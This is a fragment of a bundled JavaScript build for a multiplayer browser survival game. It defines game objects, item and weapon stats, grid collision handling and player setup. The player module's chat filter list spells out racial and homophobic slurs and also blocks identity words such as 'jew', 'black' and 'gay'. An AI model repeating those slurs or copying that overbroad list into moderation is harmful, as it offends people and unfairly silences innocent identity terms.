                        this.shootCount = this.shootRate;
                        this.spawnPoint = data.spawnPoint;
                    };

                    // GET HIT:
                    this.changeHealth = function(amount, doer) {
                        this.health += amount;
                        return (this.health <= 0);
                    };

                    // GET SCALE:
                    this.getScale = function(sM, ig) {
                        sM = sM||1;
                        return this.scale * ((this.isItem||this.type==2||this.type==3||this.type==4)
                                             ?1:(0.6*sM)) * (ig?1:this.colDiv);
                    };

                    // VISIBLE TO PLAYER:
                    this.visibleToPlayer = function(player) {
                        return !(this.hideFromEnemy) || (this.owner && (this.owner == player ||
                                                                        (this.owner.team && player.team == this.owner.team)));
                    };

                    // UPDATE:
                    this.update = function(delta) {
                        if (this.active) {
                            if (this.xWiggle) {
                                this.xWiggle *= Math.pow(0.99, delta);
                            } if (this.yWiggle) {
                                this.yWiggle *= Math.pow(0.99, delta);
                            }
                            if (this.turnSpeed) {
                                this.dir += this.turnSpeed * delta;
                            }
                        }
                    };
                };


                /***/ }),

            /***/ "./src/js/data/items.js":
            /*!******************************!*\
      !*** ./src/js/data/items.js ***!
      \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // ITEM GROUPS:
                module.exports.groups = [{
                    id: 0,
                    name: "food",
                    layer: 0
                }, {
                    id: 1,
                    name: "walls",
                    place: true,
                    limit: 30,
                    layer: 0
                }, {
                    id: 2,
                    name: "spikes",
                    place: true,
                    limit: 15,
                    layer: 0
                }, {
                    id: 3,
                    name: "mill",
                    place: true,
                    limit: 7,
                    layer: 1
                }, {
                    id: 4,
                    name: "mine",
                    place: true,
                    limit: 1,
                    layer: 0
                }, {
                    id: 5,
                    name: "trap",
                    place: true,
                    limit: 6,
                    layer: -1
                }, {
                    id: 6,
                    name: "booster",
                    place: true,
                    limit: 12,
                    layer: -1
                }, {
                    id: 7,
                    name: "turret",
                    place: true,
                    limit: 2,
                    layer: 1
                }, {
                    id: 8,
                    name: "watchtower",
                    place: true,
                    limit: 12,
                    layer: 1
                }, {
                    id: 9,
                    name: "buff",
                    place: true,
                    limit: 4,
                    layer: -1
                }, {
                    id: 10,
                    name: "spawn",
                    place: true,
                    limit: 1,
                    layer: -1
                }, {
                    id: 11,
                    name: "sapling",
                    place: true,
                    limit: 2,
                    layer: 0
                }, {
                    id: 12,
                    name: "blocker",
                    place: true,
                    limit: 3,
                    layer: -1
                }, {
                    id: 13,
                    name: "teleporter",
                    place: true,
                    limit: 2,
                    layer: -1
                }];

                // PROJECTILES:
                exports.projectiles = [{
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 25,
                    speed: 1.6,
                    scale: 103,
                    range: 1000
                }, {
                    indx: 1,
                    layer: 1,
                    dmg: 25,
                    scale: 20
                }, {
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 35,
                    speed: 2.5,
                    scale: 103,
                    range: 1200
                }, {
                    indx: 0,
                    layer: 0,
                    src: "arrow_1",
                    dmg: 30,
                    speed: 2,
                    scale: 103,
                    range: 1200
                }, {
                    indx: 1,
                    layer: 1,
                    dmg: 16,
                    scale: 20
                }, {
                    indx: 0,
                    layer: 0,
                    src: "bullet_1",
                    dmg: 50,
                    speed: 3.6,
                    scale: 160,
                    range: 1400
                }];

                // WEAPONS:
                exports.weapons = [{
                    id: 0,
                    type: 0,
                    name: "tool hammer",
                    desc: "tool for gathering all resources",
                    src: "hammer_1",
                    length: 140,
                    width: 140,
                    xOff: -3,
                    yOff: 18,
                    dmg: 25,
                    range: 65,
                    gather: 1,
                    speed: 300
                }, {
                    id: 1,
                    type: 0,
                    age: 2,
                    name: "hand axe",
                    desc: "gathers resources at a higher rate",
                    src: "axe_1",
                    length: 140,
                    width: 140,
                    xOff: 3,
                    yOff: 24,
                    dmg: 30,
                    spdMult: 1,
                    range: 70,
                    gather: 2,
                    speed: 400
                }, {
                    id: 2,
                    type: 0,
                    age: 8,
                    pre: 1,
                    name: "great axe",
                    desc: "deal more damage and gather more resources",
                    src: "great_axe_1",
                    length: 140,
                    width: 140,
                    xOff: -8,
                    yOff: 25,
                    dmg: 35,
                    spdMult: 1,
                    range: 75,
                    gather: 4,
                    speed: 400
                }, {
                    id: 3,
                    type: 0,
                    age: 2,
                    name: "short sword",
                    desc: "increased attack power but slower move speed",
                    src: "sword_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 46,
                    dmg: 35,
                    spdMult: 0.85,
                    range: 110,
                    gather: 1,
                    speed: 300
                }, {
                    id: 4,
                    type: 0,
                    age: 8,
                    pre: 3,
                    name: "katana",
                    desc: "greater range and damage",
                    src: "samurai_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 59,
                    dmg: 40,
                    spdMult: 0.8,
                    range: 118,
                    gather: 1,
                    speed: 300
                }, {
                    id: 5,
                    type: 0,
                    age: 2,
                    name: "polearm",
                    desc: "long range melee weapon",
                    src: "spear_1",
                    iPad: 1.3,
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 53,
                    dmg: 45,
                    knock: 0.2,
                    spdMult: 0.82,
                    range: 142,
                    gather: 1,
                    speed: 700
                }, {
                    id: 6,
                    type: 0,
                    age: 2,
                    name: "bat",
                    desc: "fast long range melee weapon",
                    src: "bat_1",
                    iPad: 1.3,
                    length: 110,
                    width: 180,
                    xOff: -8,
                    yOff: 53,
                    dmg: 20,
                    knock: 0.7,
                    range: 110,
                    gather: 1,
                    speed: 300
                }, {
                    id: 7,
                    type: 0,
                    age: 2,
                    name: "daggers",
                    desc: "really fast short range weapon",
                    src: "dagger_1",
                    iPad: 0.8,
                    length: 110,
                    width: 110,
                    xOff: 18,
                    yOff: 0,
                    dmg: 20,
                    knock: 0.1,
                    range: 65,
                    gather: 1,
                    hitSlow: 0.1,
                    spdMult: 1.13,
                    speed: 100
                }, {
                    id: 8,
                    type: 0,
                    age: 2,
                    name: "stick",
                    desc: "great for gathering but very weak",
                    src: "stick_1",
                    length: 140,
                    width: 140,
                    xOff: 3,
                    yOff: 24,
                    dmg: 1,
                    spdMult: 1,
                    range: 70,
                    gather: 7,
                    speed: 400
                }, {
                    id: 9,
                    type: 1,
                    age: 6,
                    name: "hunting bow",
                    desc: "bow used for ranged combat and hunting",
                    src: "bow_1",
                    req: ["wood", 4],
                    length: 120,
                    width: 120,
                    xOff: -6,
                    yOff: 0,
                    projectile: 0,
                    spdMult: 0.75,
                    speed: 600
                }, {
                    id: 10,
                    type: 1,
                    age: 6,
                    name: "great hammer",
                    desc: "hammer used for destroying structures",
                    src: "great_hammer_1",
                    length: 140,
                    width: 140,
                    xOff: -9,
                    yOff: 25,
                    dmg: 10,
                    spdMult: 0.88,
                    range: 75,
                    sDmg: 7.5,
                    gather: 1,
                    speed: 400
                }, {
                    id: 11,
                    type: 1,
                    age: 6,
                    name: "wooden shield",
                    desc: "blocks projectiles and reduces melee damage",
                    src: "shield_1",
                    length: 120,
                    width: 120,
                    shield: 0.2,
                    xOff: 6,
                    yOff: 0,
                    spdMult: 0.7
                }, {
                    id: 12,
                    type: 1,
                    age: 8,
                    pre: 9,
                    name: "crossbow",
                    desc: "deals more damage and has greater range",
                    src: "crossbow_1",
                    req: ["wood", 5],
                    aboveHand: true,
                    armS: 0.75,
                    length: 120,
                    width: 120,
                    xOff: -4,
                    yOff: 0,
                    projectile: 2,
                    spdMult: 0.7,
                    speed: 700
                }, {
                    id: 13,
                    type: 1,
                    age: 9,
                    pre: 12,
                    name: "repeater crossbow",
                    desc: "high firerate crossbow with reduced damage",
                    src: "crossbow_2",
                    req: ["wood", 10],
                    aboveHand: true,
                    armS: 0.75,
                    length: 120,
                    width: 120,
                    xOff: -4,
                    yOff: 0,
                    projectile: 3,
                    spdMult: 0.7,
                    speed: 230
                }, {
                    id: 14,
                    type: 1,
                    age: 6,
                    name: "mc grabby",
                    desc: "steals resources from enemies",
                    src: "grab_1",
                    length: 130,
                    width: 210,
                    xOff: -8,
                    yOff: 53,
                    dmg: 0,
                    steal: 250,
                    knock: 0.2,
                    spdMult: 1.05,
                    range: 125,
                    gather: 0,
                    speed: 700
                }, {
                    id: 15,
                    type: 1,
                    age: 9,
                    pre: 12,
                    name: "musket",
                    desc: "slow firerate but high damage and range",
                    src: "musket_1",
                    req: ["stone", 10],
                    aboveHand: true,
                    rec: 0.35,
                    armS: 0.6,
                    hndS: 0.3,
                    hndD: 1.6,
                    length: 205,
                    width: 205,
                    xOff: 25,
                    yOff: 0,
                    projectile: 5,
                    hideProjectile: true,
                    spdMult: 0.6,
                    speed: 1500
                }];

                // ITEMS:
                module.exports.list = [{
                    group: module.exports.groups[0],
                    name: "apple",
                    desc: "restores 20 health when consumed",
                    req: ["food", 10],
                    consume: function(doer) {
                        return doer.changeHealth(20, doer);
                    },
                    scale: 22,
                    holdOffset: 15
                }, {
                    age: 3,
                    group: module.exports.groups[0],
                    name: "cookie",
                    desc: "restores 40 health when consumed",
                    req: ["food", 15],
                    consume: function(doer) {
                        return doer.changeHealth(40, doer);
                    },
                    scale: 27,
                    holdOffset: 15
                }, {
                    age: 7,
                    group: module.exports.groups[0],
                    name: "cheese",
                    desc: "restores 30 health and another 50 over 5 seconds",
                    req: ["food", 25],
                    consume: function(doer) {
                        if (doer.changeHealth(30, doer) || doer.health < 100) {
                            doer.dmgOverTime.dmg = -10;
                            doer.dmgOverTime.doer = doer;
                            doer.dmgOverTime.time = 5;
                            return true;
                        }
                        return false;
                    },
                    scale: 27,
                    holdOffset: 15
                }, {
                    group: module.exports.groups[1],
                    name: "wood wall",
                    desc: "provides protection for your village",
                    req: ["wood", 10],
                    projDmg: true,
                    health: 380,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 3,
                    group: module.exports.groups[1],
                    name: "stone wall",
                    desc: "provides improved protection for your village",
                    req: ["stone", 25],
                    health: 900,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    pre: 1,
                    group: module.exports.groups[1],
                    name: "castle wall",
                    desc: "provides powerful protection for your village",
                    req: ["stone", 35],
                    health: 1500,
                    scale: 52,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    group: module.exports.groups[2],
                    name: "spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 20, "stone", 5],
                    health: 400,
                    dmg: 20,
                    scale: 49,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 5,
                    group: module.exports.groups[2],
                    name: "greater spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 30, "stone", 10],
                    health: 500,
                    dmg: 35,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 9,
                    pre: 1,
                    group: module.exports.groups[2],
                    name: "poison spikes",
                    desc: "poisons enemies when they touch them",
                    req: ["wood", 35, "stone", 15],
                    health: 600,
                    dmg: 30,
                    pDmg: 5,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    age: 9,
                    pre: 2,
                    group: module.exports.groups[2],
                    name: "spinning spikes",
                    desc: "damages enemies when they touch them",
                    req: ["wood", 30, "stone", 20],
                    health: 500,
                    dmg: 45,
                    turnSpeed: 0.003,
                    scale: 52,
                    spritePadding: -23,
                    holdOffset: 8,
                    placeOffset: -5
                }, {
                    group: module.exports.groups[3],
                    name: "windmill",
                    desc: "generates gold over time",
                    req: ["wood", 50, "stone", 10],
                    health: 400,
                    pps: 1,
                    turnSpeed: 0.0016,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 5,
                    pre: 1,
                    group: module.exports.groups[3],
                    name: "faster windmill",
                    desc: "generates more gold over time",
                    req: ["wood", 60, "stone", 20],
                    health: 500,
                    pps: 1.5,
                    turnSpeed: 0.0025,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 47,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 8,
                    pre: 1,
                    group: module.exports.groups[3],
                    name: "power mill",
                    desc: "generates more gold over time",
                    req: ["wood", 100, "stone", 50],
                    health: 800,
                    pps: 2,
                    turnSpeed: 0.005,
                    spritePadding: 25,
                    iconLineMult: 12,
                    scale: 47,
                    holdOffset: 20,
                    placeOffset: 5
                }, {
                    age: 5,
                    group: module.exports.groups[4],
                    type: 2,
                    name: "mine",
                    desc: "allows you to mine stone",
                    req: ["wood", 20, "stone", 100],
                    iconLineMult: 12,
                    scale: 65,
                    holdOffset: 20,
                    placeOffset: 0
                }, {
                    age: 5,
                    group: module.exports.groups[11],
                    type: 0,
                    name: "sapling",
                    desc: "allows you to farm wood",
                    req: ["wood", 150],
                    iconLineMult: 12,
                    colDiv: 0.5,
                    scale: 110,
                    holdOffset: 50,
                    placeOffset: -15
                }, {
                    age: 4,
                    group: module.exports.groups[5],
                    name: "pit trap",
                    desc: "pit that traps enemies if they walk over it",
                    req: ["wood", 30, "stone", 30],
                    trap: true,
                    ignoreCollision: true,
                    hideFromEnemy: true,
                    health: 500,
                    colDiv: 0.2,
                    scale: 50,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 4,
                    group: module.exports.groups[6],
                    name: "boost pad",
                    desc: "provides boost when stepped on",
                    req: ["stone", 20, "wood", 5],
                    ignoreCollision: true,
                    boostSpeed: 1.5,
                    health: 150,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[7],
                    doUpdate: true,
                    name: "turret",
                    desc: "defensive structure that shoots at enemies",
                    req: ["wood", 200, "stone", 150],
                    health: 800,
                    projectile: 1,
                    shootRange: 700,
                    shootRate: 2200,
                    scale: 43,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[8],
                    name: "platform",
                    desc: "platform to shoot over walls and cross over water",
                    req: ["wood", 20],
                    ignoreCollision: true,
                    zIndex: 1,
                    health: 300,
                    scale: 43,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[9],
                    name: "healing pad",
                    desc: "standing on it will slowly heal you",
                    req: ["wood", 30, "food", 10],
                    ignoreCollision: true,
                    healCol: 15,
                    health: 400,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 9,
                    group: module.exports.groups[10],
                    name: "spawn pad",
                    desc: "you will spawn here when you die but it will dissapear",
                    req: ["wood", 100, "stone", 100],
                    health: 400,
                    ignoreCollision: true,
                    spawnPoint: true,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[12],
                    name: "blocker",
                    desc: "blocks building in radius",
                    req: ["wood", 30, "stone", 25],
                    ignoreCollision: true,
                    blocker: 300,
                    health: 400,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }, {
                    age: 7,
                    group: module.exports.groups[13],
                    name: "teleporter",
                    desc: "teleports you to a random point on the map",
                    req: ["wood", 60, "stone", 60],
                    ignoreCollision: true,
                    teleport: true,
                    health: 200,
                    colDiv: 0.7,
                    scale: 45,
                    holdOffset: 20,
                    placeOffset: -5
                }];

                // ASSIGN IDS:
                for (var i = 0; i < module.exports.list.length; ++i) {
                    module.exports.list[i].id = i;
                    if (module.exports.list[i].pre) module.exports.list[i].pre = i - module.exports.list[i].pre;
                }

                // TROLOLOLOL:
                if (typeof window !== "undefined") {
                    function shuffle(a) {
                        for (let i = a.length - 1; i > 0; i--) {
                            const j = Math.floor(Math.random() * (i + 1));
                            [a[i], a[j]] = [a[j], a[i]];
                        }
                        return a;
                    }
                }


                /***/ }),

            /***/ "./src/js/data/mapManager.js":
            /*!***********************************!*\
      !*** ./src/js/data/mapManager.js ***!
      \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // GLOBAL MAPMANAGER:
                module.exports = {}

                /***/ }),

            /***/ "./src/js/data/objectManager.js":
            /*!**************************************!*\
      !*** ./src/js/data/objectManager.js ***!
      \**************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var mathFloor = Math.floor;
                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                module.exports = function (GameObject, gameObjects, UTILS, config, players, server) {
                    this.objects = gameObjects;
                    this.grids = {};
                    this.updateObjects = [];

                    // SET OBJECT GRIDS:
                    var tmpX, tmpY;
                    var tmpS = config.mapScale/config.colGrid;
                    this.setObjectGrids = function(obj) {
                        var objX = Math.min(config.mapScale, Math.max(0, obj.x));
                        var objY = Math.min(config.mapScale, Math.max(0, obj.y));
                        for (var x = 0; x < config.colGrid; ++x) {
                            tmpX = x * tmpS;
                            for (var y = 0; y < config.colGrid; ++y) {
                                tmpY = y * tmpS;
                                if (objX + obj.scale >= tmpX && objX - obj.scale <= tmpX + tmpS &&
                                    objY + obj.scale >= tmpY && objY - obj.scale <= tmpY + tmpS) {
                                    if (!this.grids[x + "_" + y])
                                        this.grids[x + "_" + y] = [];
                                    this.grids[x + "_" + y].push(obj);
                                    obj.gridLocations.push(x + "_" + y);
                                }
                            }
                        }
                    };

                    // REMOVE OBJECT FROM GRID:
                    this.removeObjGrid = function(obj) {
                        var tmpIndx;
                        for (var i = 0; i < obj.gridLocations.length; ++i) {
                            tmpIndx = this.grids[obj.gridLocations[i]].indexOf(obj);
                            if (tmpIndx >= 0) {
                                this.grids[obj.gridLocations[i]].splice(tmpIndx, 1);
                            }
                        }
                    };

                    // DISABLE OBJ:
                    this.disableObj = function(obj) {
                        obj.active = false;
                        if (server) {
                            if (obj.owner && obj.pps) obj.owner.pps -= obj.pps;
                            this.removeObjGrid(obj);
                            var tmpIndx = this.updateObjects.indexOf(obj);
                            if (tmpIndx >= 0) {
                                this.updateObjects.splice(tmpIndx, 1);
                            }
                        }
                    };

                    // HIT OBJECT:
                    this.hitObj = function(tmpObj, tmpDir) {
                        for (var p = 0; p < players.length; ++p) {
                            if (players[p].active) {
                                if (tmpObj.sentTo[players[p].id]) {
                                    if (!tmpObj.active) server.send(players[p].id, "12", tmpObj.sid);
                                    else if (players[p].canSee(tmpObj))
                                        server.send(players[p].id, "8", UTILS.fixTo(tmpDir, 1), tmpObj.sid);
                                } if (!tmpObj.active && tmpObj.owner == players[p])
                                    players[p].changeItemCount(tmpObj.group.id, -1);
                            }
                        }
                    };

                    // GET GRID ARRAY:
                    var tmpArray = [];
                    var tmpGrid;
                    this.getGridArrays = function(xPos, yPos, s) {
                        tmpX = mathFloor(xPos / tmpS);
                        tmpY = mathFloor(yPos / tmpS);
                        tmpArray.length = 0;
                        try {
                            if (this.grids[tmpX + "_" + tmpY])
                                tmpArray.push(this.grids[tmpX + "_" + tmpY]);
                            if (xPos + s >= (tmpX + 1) * tmpS) { // RIGHT
                                tmpGrid = this.grids[(tmpX + 1) + "_" + tmpY];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                                if (tmpY && yPos - s <= tmpY * tmpS) { // TOP RIGHT
                                    tmpGrid = this.grids[(tmpX + 1) + "_" + (tmpY - 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                } else if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM RIGHT
                                    tmpGrid = this.grids[(tmpX + 1) + "_" + (tmpY + 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                }
                            } if (tmpX && xPos - s <= tmpX * tmpS) { // LEFT
                                tmpGrid = this.grids[(tmpX - 1) + "_" + tmpY];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                                if (tmpY && yPos - s <= tmpY * tmpS) { // TOP LEFT
                                    tmpGrid = this.grids[(tmpX - 1) + "_" + (tmpY - 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                } else if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM LEFT
                                    tmpGrid = this.grids[(tmpX - 1) + "_" + (tmpY + 1)];
                                    if (tmpGrid) tmpArray.push(tmpGrid);
                                }
                            } if (yPos + s >= (tmpY + 1) * tmpS) { // BOTTOM
                                tmpGrid = this.grids[tmpX + "_" + (tmpY + 1)];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                            } if (tmpY && yPos - s <= tmpY * tmpS) { // TOP
                                tmpGrid = this.grids[tmpX + "_" + (tmpY - 1)];
                                if (tmpGrid) tmpArray.push(tmpGrid);
                            }
                        } catch (e) {}
                        return tmpArray;
                    };

                    // ADD NEW:
                    var tmpObj;
                    this.add = function(sid, x, y, dir, s, type, data, setSID, owner) {
                        tmpObj = null;
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].sid == sid) {
                                tmpObj = gameObjects[i];
                                break;
                            }
                        } if (!tmpObj) {
                            for (var i = 0; i < gameObjects.length; ++i) {
                                if (!gameObjects[i].active) {
                                    tmpObj = gameObjects[i];
                                    break;
                                }
                            }
                        } if (!tmpObj) {
                            tmpObj = new GameObject(sid);
                            gameObjects.push(tmpObj);
                        }
                        if (setSID)
                            tmpObj.sid = sid;
                        tmpObj.init(x, y, dir, s, type, data, owner);
                        if (server) {
                            this.setObjectGrids(tmpObj);
                            if (tmpObj.doUpdate)
                                this.updateObjects.push(tmpObj);
                        }
                    };

                    // DISABLE BY SID:
                    this.disableBySid = function(sid) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].sid == sid) {
                                this.disableObj(gameObjects[i]);
                                break;
                            }
                        }
                    };

                    // REMOVE ALL FROM PLAYER:
                    this.removeAllItems = function(sid, server) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            if (gameObjects[i].active && gameObjects[i].owner && gameObjects[i].owner.sid == sid) {
                                this.disableObj(gameObjects[i]);
                            }
                        }
                        if (server) {
                            server.broadcast("13", sid);
                        }
                    };

                    // FETCH SPAWN OBJECT:
                    this.fetchSpawnObj = function(sid) {
                        var tmpLoc = null;
                        for (var i = 0; i < gameObjects.length; ++i) {
                            tmpObj = gameObjects[i];
                            if (tmpObj.active && tmpObj.owner && tmpObj.owner.sid == sid && tmpObj.spawnPoint) {
                                tmpLoc = [tmpObj.x, tmpObj.y];
                                this.disableObj(tmpObj);
                                server.broadcast("12", tmpObj.sid);
                                if (tmpObj.owner) {
                                    tmpObj.owner.changeItemCount(tmpObj.group.id, -1);
                                }
                                break;
                            }
                        }
                        return tmpLoc;
                    };

                    // CHECK IF PLACABLE:
                    this.checkItemLocation = function(x, y, s, sM, indx, ignoreWater, placer) {
                        for (var i = 0; i < gameObjects.length; ++i) {
                            var blockS = (gameObjects[i].blocker?
                                          gameObjects[i].blocker:gameObjects[i].getScale(sM, gameObjects[i].isItem));
                            if (gameObjects[i].active && UTILS.getDistance(x, y, gameObjects[i].x,
                                                                           gameObjects[i].y) < (s + blockS))
                                return false;
                        } if (!ignoreWater && indx != 18 && y >= (config.mapScale / 2) - (config.riverWidth / 2) && y <=
                              (config.mapScale / 2) + (config.riverWidth / 2)) {
                            return false;
                        }
                        return true;
                    };

                    // ADD PROJECTILE:
                    this.addProjectile = function(x, y, dir, range, indx) {
                        var tmpData = items.projectiles[indx];
                        var tmpProj;
                        for (var i = 0; i < projectiles.length; ++i) {
                            if (!projectiles[i].active) {
                                tmpProj = projectiles[i];
                                break;
                            }
                        }
                        if (!tmpProj) {
                            tmpProj = new Projectile(players, UTILS);
                            projectiles.push(tmpProj);
                        }
                        tmpProj.init(indx, x, y, dir, tmpData.speed, range, tmpData.scale);
                    };

                    // CHECK PLAYER COLLISION:
                    this.checkCollision = function(player, other, delta) {
                        delta = delta||1;
                        var dx = player.x - other.x;
                        var dy = player.y - other.y;
                        var tmpLen = player.scale + other.scale;
                        if (mathABS(dx) <= tmpLen || mathABS(dy) <= tmpLen) {
                            tmpLen = player.scale + (other.getScale?other.getScale():other.scale);
                            var tmpInt = mathSQRT(dx * dx + dy * dy) - tmpLen;
                            if (tmpInt <= 0) {
                                if (!other.ignoreCollision) {
                                    var tmpDir = UTILS.getDirection(player.x, player.y, other.x, other.y);
                                    var tmpDist = UTILS.getDistance(player.x, player.y, other.x, other.y);
                                    if (other.isPlayer) {
                                        tmpInt = (tmpInt * -1) / 2;
                                        player.x += (tmpInt * mathCOS(tmpDir));
                                        player.y += (tmpInt * mathSIN(tmpDir));
                                        other.x -= (tmpInt * mathCOS(tmpDir));
                                        other.y -= (tmpInt * mathSIN(tmpDir));
                                    } else {
                                        player.x = other.x + (tmpLen * mathCOS(tmpDir));
                                        player.y = other.y + (tmpLen * mathSIN(tmpDir));
                                        player.xVel *= 0.75;
                                        player.yVel *= 0.75;
                                    }
                                    if (other.dmg && other.owner != player && !(other.owner &&
                                                                                other.owner.team && other.owner.team == player.team)) {
                                        player.changeHealth(-other.dmg, other.owner, other);
                                        var tmpSpd = 1.5 * (other.weightM||1);
                                        player.xVel += tmpSpd * mathCOS(tmpDir);
                                        player.yVel += tmpSpd * mathSIN(tmpDir);
                                        if (other.pDmg && !(player.skin && player.skin.poisonRes)) {
                                            player.dmgOverTime.dmg = other.pDmg;
                                            player.dmgOverTime.time = 5;
                                            player.dmgOverTime.doer = other.owner;
                                        }
                                        if (player.colDmg && other.health) {
                                            if (other.changeHealth(-player.colDmg)) this.disableObj(other);
                                            this.hitObj(other, UTILS.getDirection(player.x, player.y, other.x, other.y));
                                        }
                                    }
                                } else if (other.trap && !player.noTrap && other.owner != player && !(other.owner &&
                                                                                                      other.owner.team && other.owner.team == player.team)) {
                                    player.lockMove = true;
                                    other.hideFromEnemy = false;
                                } else if (other.boostSpeed) {
                                    player.xVel += (delta * other.boostSpeed * (other.weightM||1)) * mathCOS(other.dir);
                                    player.yVel += (delta * other.boostSpeed * (other.weightM||1)) * mathSIN(other.dir);
                                } else if (other.healCol) {
                                    player.healCol = other.healCol;
                                } else if (other.teleport) {
                                    player.x = UTILS.randInt(0, config.mapScale);
                                    player.y = UTILS.randInt(0, config.mapScale);
                                }
                                if (other.zIndex > player.zIndex) player.zIndex = other.zIndex;
                                return true;
                            }
                        }
                        return false;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/player.js":
            /*!*******************************!*\
      !*** ./src/js/data/player.js ***!
      \*******************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var LangFilter = __webpack_require__(/*! bad-words */ "./node_modules/bad-words/lib/badwords.js");
                var langFilter = new LangFilter();
                var newProfane = ['jew', 'black', 'baby', 'child', 'white',
                                  'porn', 'pedo', 'trump', 'clinton', 'hitler', 'nazi',
                                  'gay', 'pride', 'sex', 'pleasure', 'touch', 'poo', 'kids',
                                  'rape', 'white power', 'nigga', 'nig nog', 'doggy', 'rapist',
                                  'boner', 'nigger', 'nigg', 'finger', 'nogger', 'nagger', 'nig',
                                  'fag', 'gai', 'pole', 'stripper', "penis", 'vagina', 'pussy',
                                  'nazi', 'hitler', 'stalin', 'burn', 'chamber', 'cock',
                                  'peen', 'dick', 'spick', 'nieger', 'die', 'satan', 'n|ig', 'nlg',
                                  'cunt', 'c0ck', 'fag', 'lick', 'condom', 'anal', 'shit', 'phile',
                                  'little', 'kids', 'free KR', 'tiny', 'sidney', 'ass', 'kill', '.io',
                                  '(dot)', '[dot]', 'mini', 'whiore', 'whore', 'faggot', 'github',
                                  '1337', '666', 'satan',
                                  'senpa', 'discord', 'd1scord', 'mistik', '.io', 'senpa.io', 'sidney', 'sid', 'senpaio', 'vries', 'asa',
                                 ];
                langFilter.addWords(...newProfane);

                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                module.exports = function(id, sid, config, UTILS, projectileManager,
                                           objectManager, players, ais, items, hats, accessories, server, scoreCallback, iconCallback) {
                    this.id = id;
                    this.sid = sid;
                    this.tmpScore = 0;
                    this.team = null;
                    this.skinIndex = 0;
                    this.tailIndex = 0;
                    this.hitTime = 0;
                    this.tails = {};
                    for (var i = 0; i < accessories.length; ++i) {
                        if (accessories[i].price <= 0)
                            this.tails[accessories[i].id] = 1;
                    }
                    this.skins = {};
                    for (var i = 0; i < hats.length; ++i) {
                        if (hats[i].price <= 0)
                            this.skins[hats[i].id] = 1;
                    }
                    this.points = 0;
                    this.dt = 0;
                    this.hidden = false;
                    this.itemCounts = {};
                    this.isPlayer = true;
                    this.pps = 0;
                    this.moveDir = undefined;
                    this.skinRot = 0;
                    this.lastPing = 0;
                    this.iconIndex = 0;
                    this.skinColor = 0;

                    // SPAWN:
                    this.spawn = function(moofoll) {
                        this.active = true;
                        this.alive = true;
                        this.lockMove = false;
                        this.lockDir = false;
                        this.minimapCounter = 0;
                        this.chatCountdown = 0;
                        this.shameCount = 0;
                        this.shameTimer = 0;
                        this.sentTo = {};
                        this.gathering = 0;
                        this.autoGather = 0;
                        this.animTime = 0;
                        this.animSpeed = 0;
                        this.mouseState = 0;
                        this.buildIndex = -1;
                        this.weaponIndex = 0;
                        this.dmgOverTime = {};
                        this.noMovTimer = 0;
                        this.maxXP = 300;
                        this.XP = 0;
                        this.age = 1;
                        this.kills = 0;
                        this.upgrAge = 2;
                        this.upgradePoints = 0;
                        this.x = 0;
                        this.y = 0;
                        this.zIndex = 0;
                        this.xVel = 0;
                        this.yVel = 0;
                        this.slowMult = 1;
                        this.dir = 0;
                        this.dirPlus = 0;
                        this.targetDir = 0;
                        this.targetAngle = 0;
                        this.maxHealth = 100;
                        this.health = this.maxHealth;
                        this.scale = config.playerScale;
                        this.speed = config.playerSpeed;
                        this.resetMoveDir();
                        this.resetResources(moofoll);
                        this.items = [0, 3, 6, 10];
                        this.weapons = [0];
                        this.shootCount = 0;
